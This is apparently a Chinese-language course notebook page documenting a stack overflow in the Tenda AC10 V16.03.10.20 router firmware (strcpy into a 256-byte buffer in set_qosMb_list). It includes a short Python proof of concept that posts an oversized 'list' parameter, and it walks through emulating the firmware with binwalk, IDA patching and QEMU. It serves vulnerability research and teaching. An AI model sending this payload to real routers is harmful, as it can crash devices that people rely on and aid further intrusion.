> For the complete documentation index, see [llms.txt](https://dizzzzy.gitbook.io/notebook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dizzzzy.gitbook.io/notebook/course/pwn-notebook/vulnerability-discovery.md). # Vulnerability Discovery ## 记: IoT路由固件漏洞挖掘 ### 产品 * Tenda AC10 * 固件下载地址: * 硬件版本: V4.0 * 软件版本: V16.03.10.20 * 说明：此固件仅适用于AC10 v4型号的机器升级 ### 影响版本 V16.03.10.20 ### 漏洞细节 Tenda AC10 V16.03.10.20固件在**`formSetQosBand`**函数中存在**堆栈溢出漏洞**。

从POST请求接收“list”参数赋值给变量s，该变量作为参数传递到函数**`set_qosMb_list`**中。在函数**`set_qosMb_list`**中，变量a1被传递给s，后者随后被分配给v9变量，该变量固定为256字节。然而，由于用户可以控制列表的输入，因此语句`strcpy（v9,s)`可能导致缓冲区溢出。用户提供的列表可能超过v9变量的容量，从而触发此安全漏洞。

### Exp ``` import requests from pwn import* ip = "***" #仿真IP地址 url = "http://" + ip + "/goform/SetNetControlList" payload = b"a"*2000 data = {"list": payload} #溢出数据传递给list res = requests.post(url, data=data) ``` #### 仿真参考文章：工具： Binwalk、IDA 7.6 Pro、QEMU 详细过程：首先使用Binwalk提取固件文件系统，提取后会在当前目录生成一个文件夹，进入文件夹，在squashfs-root目录下是路由器主要运行的一些东西 ``` binwalk -Me 固件名称.bin ```

需要分析的固件在bin目录下，bin/httpd这个程序就是路由器主要运行的固件，使用file命令可以得知路由器固件相关的信息，比如这次的路由二进制文件是mips指令架构，32位ELF

尝试使用qemu运行，失败，权限不足，改用sudo以后发现路由器运行输出welcome以后卡住

这是因为路由器检测环境功能的存在，接下来使用IDA破解路由器检测环境 #### IDA破解路由器检测环境思路就是找到验证的代码nop掉验证的指令，patch二进制文件就可以，详细过程参考图片如下先找到相关的代码，这里直接搜索字符串查看其xref

定位到main函数，找到相关的代码，发现是一个while循环，通过了if的验证才能跳出：

对应的汇编如下，也就是说需要nop掉红框中的两个跳转

在IDA中Patch Bytes（Edit->Patch program->change byte）将前四字节修改为00，就能换成nop指令了

完成以后打补丁（Edit->Patch program->Apply patches to input file）替换文件以后需要注意给文件赋权限： ``` chmod 777 httpd ```

最后仿真（添加新的网卡，这里一开始我没有添加正确一直创建soccket报错卡了很久啊啊啊）

``` （sudo）： brctl addbr br0 brctl addif br0 eth0 #注意！！！这里网卡绑自己虚拟机的eths ifconfig br0 up dhclient br0 ``` 最后执行Poc成功触发漏洞：